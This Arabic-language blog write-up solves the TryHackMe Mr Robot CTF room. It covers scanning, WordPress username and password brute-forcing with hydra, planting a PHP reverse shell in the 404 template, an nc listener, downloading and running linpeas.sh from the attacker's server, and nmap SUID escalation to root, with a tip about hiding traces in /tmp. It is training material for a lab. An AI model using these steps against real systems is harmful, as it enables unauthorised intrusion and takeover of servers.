Search 🔎🖥️

TryHackMe|MrRobotCTF WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



رابط التحدي: https://tryhackme.com/r/room/mrrobot

============================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا 3 بورتات 22 و 80 و443، نرجع نسوي Aggressive سكان على نفس هذه البورتات

sudo nmap IP -vv -A -p 22,80,443

بورت 22 طلع إنها closed، مع إنها ظهرت معانا، حتى لما سويت عليها لوحدها سكان، برضو مُغلقة، فنتجاهلها. على بورت 80 و 443 عندي apache server

بنسوي directory enumeration  باستخدام gobuster على بورت 80

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64

طلع معانا مسارات كثيرة جدا، بنركز على المسارات اللي نحسها مهمة، مثل robots.txt  و readme و wp-admin. أول شيء بنلاحظة هو وجود wp بكثرة في المسارات، وهذا يعني إن هذا الموقع يستخدم WordPress. 

أول شيء بنروح للصفحة الرئيسية للموقع، وبيشغل لنا فيديو، ثم لما ينتهي بيعطينا مجموعة كوماندز نقدر ننفذها، كل كوماند تشغل فيديو، خلاص ننتقل لـreadme. بنلقى طابع رسالة ولكن برضو مافيها شيء مهم. ننتقل لـ robots.txt، بنلقى عندنا مسارين

الأول fsocity.dic هو ملف فيه مجموعة كلمات بنستخدمها في الـbrute force بمجرد زيارتنا للمسار بيتحمل معانا الملف. 

ثاني مسار key-1-of-3.txt فيه أول فلاق✨. 

باقي نزور wp-admin، وبنلقى صفحة تسجيل دخول WordPress. ولو جربنا ندخل أي اسم مستخدم وكلمة سر بيطبع معانا رسالة خطأ، ولكن رسالة الخطأ هذه موضح فيها إن اسم المستخدم غلط، وهذه مشكلة كبيرة بالنسبة للموقع، لأنها تسهل عملية الـbrute force للمُخترقين، ولكنها في هذه الحالة بتفيدنا.

فالخطة الحين إننا بنسوي brute force على اسم المستخدم فقط، حتى نلقى اسم مستخدم صحيح على هذا النظام، بعد كذا بنسوي brute force لهذا الاسم مع كلمات سر مختلفة، ويصير نلقى طريقة ندخل بها للنظام. وبكذا يكون اختصرنا وقت كبيييير، بدل ما نجرب عدد من التباديل كبير جدا وياخذ وقت كبير جدا، نجرب حتى نلقى الاسم، ثم نجرب مع الاسم حتى نلقى كلمة السر، وهذا كله استفدناه لأن الموقع ما طبع password or username are incorrect بل طبع Invalid username

وهذه مشكلة كبيرة، وعشان كذا معاد صرنا نشوفها بالمواقع هذه الأيام. إذن أول حاجة بنبحث عن اسم مستخدم صحيح على هذا الموقع، وعشان ناخذ كل المعلومات اللي نبيها عشان نكمل الـhydra command بنلتقط الطلب باستخدام brupsuite، وناخذ إلى أين بتروح الرسالة، والrequest body عشان نعرف اسماء المتغيرات (اسم المستخدم وكلمة المرور)، وبكذا نكون جاهزين. 

هذا الطلب بعد ما التقطناه بالـburp، ووضحت بالتحديد وش اللي نحتاجه منه

الـhydra command للـpost request تكون كالتالي:

هذه الصيغة العامة:

sudo hydra <username> <wordlist> IP http-post-form "<path>:<login_credentials>:<invalid_response>"

وهذه الكوماند اللي بنشغلها

ما بيطول وبيطلع معانا مستخدم اسمه Elliot، إذا كانت هذه النقطة مو واضحة ممكن ترجعون لمقطع الشرح من الدقيقة 7:32 حتى 11:35.

ثم بعد كذا بنبحث عن كلمة السر، بنفس الكوماند لكن بنغير أشياء بسيطة

هنا غيرنا اسماء المستخدمين وخليناها اسم واحد وهو Elliot، وكلمة السر استخدمنا fsocity.dic، وغيرها الرد وخليناه S=302، وهو يرمز لإعادة التوجيه، فهذا معناته إنه لقينا كلمة سر صحيحة، بدال ما نحط الرسالة، وكلها بتشتغل تمام. لكن لو قررنا نحط الرسالة، لازم نرجع للموقع ونحط Elliot ثم نحط أي كلمة سر، ونشوف وش رسالة الخطأ اللي تطلع ونستخدمها، ما ينفع نستخدم نفس رسالة الخطأ اللي طلعت لما دخلنا اسم مستخدم خاطئ.

الحين صار عندنا اسم مستخدم وكلمة سر، نرجع للموقع ونسجل دخول بها، بعد ما ندخل على الموقع، الهدف الآن هو إن نحصل على reverse shell، ومن الطرق الناجحة مع WordPress هو استغلال صفحة الخطأ، فنروح لـ Appearance من القائمة الجانبية، ثم نختار Editor بعد كذا بيفتح معانا صفحة فيها مجموعة من أكواد الصفحات، ثم نبحث عن صفحة الخطأ 404 template، نضغط عليه ونمسح الكود اللي بداخله ونحط بداله الـshell حقتنا. 

أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN  لجهازكم ، والبورت نفس ما تبغون.

نرجع للـ dashboard ونلصق الـshell ثم نضغط update file، الحين كل اللي علينا نسويه إننا نزور صفحة غير موجودة على الموقع، وبدال ما يطبع لنا صفحة الخطأ، بينفذ الـreverse shell وبيوصل لنا اتصال من الضحية. 

نجهز الـListener  على جهازنا 

nc -nlvp 4444

من الصفحات اللي غير موجودة، مثلا http://IP/asmaa وإذا زرنا هذه الصفحة، بيوصل الاتصال على جهازنا. 

بما إن الـvictim  جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.

الخطوات كالتالي:

نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

بعدين هذه الكوماند

export TERM=xterm

ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية

الحين نجيبها لقدام باستخدام هذه الكوماند

stty raw -echo;fg

الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.

ممكن برضو نعدل الصفوف والأعمدة للـshell اللي شغالين عليها، عشان لما نفتح محرر نصوص مثلا ما تنحاس علينا النافذة، وعشان نسوي كذا:

نفتح نافذة جديدة ونخلي مقاس الخط مثل اللي احنا شغالين عليها، ثم نشغل الكوماند

stty -a

ونشوف كم قيمة الصفوف والأعمدة، ثم نروح نسجل نفس القيمة على جهاز الضحية باستخدام هذه الكوماند

stty rows 31; stty cols 134

نروح على home directory

cd /home

ls

عندي مستخدم واحد robot

cd robot

ls -al 

بنلاقي ثاني فلاق هنا، ولكن ما يقدر يقرأه إلا robot واحنا الحين www-data، فلازم نصير robot، ولكن في نفس الملفات، في ملف اسمه password.raw-md5، ويبدو إن بداخله كلمة السر hashed باستخدام md5، فنفتح الملف وناخذ محتوياته ونسوي crack لها

أنا استخدمت هذا الموقع

 https://crackstation.net/

بعد ما تطلع معانا كلمة السر ناخذها ونغير المستخدم إلى robot

su robot

ثم ندخل كلمة السر، بعد كذا نقرأ الملف

cat key-2-of-3.txt

وبكذا حصلنا على ثاني فلاق ✨

آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير

python3 -m http.server

وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

wget http://OpenVPN-IP:8000/linpeas.sh

ثم نغير صلاحياته لملف تشغيلي 

chmod +x linpeas.sh

ثم نشغله 

./linpeas.sh

بيطلع معانا في الـSUID نقطة لرفع الصلاحيات نسبتها %95 وهي Nmap، وعشان نستغلها بنبحث في موقع ممتاز اسمه GTFObins ثم نبحث عن Nmap وتحت Sudo فقرة ب نسوي نفس ما يقول، لكن ما يحتاج نستخدم sudo لأن هي SUID فبتشتغل بصلاحيات المالك أصلا وهو الـroot

نرجع على الضحية وننفذ هذه الكوماند

nmap --interactive 

ندخلها ثم بيفتح معانا nmap prompt 

ثم 

!sh

بنحصل على رووت، ثم

cd /root

ls

ثم نعرض آخر فلاق ✨

cat key-3-of-3.txt

وبكذا انتهينا من حل التحدي، بالتوفييييق 👋🏻✨

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)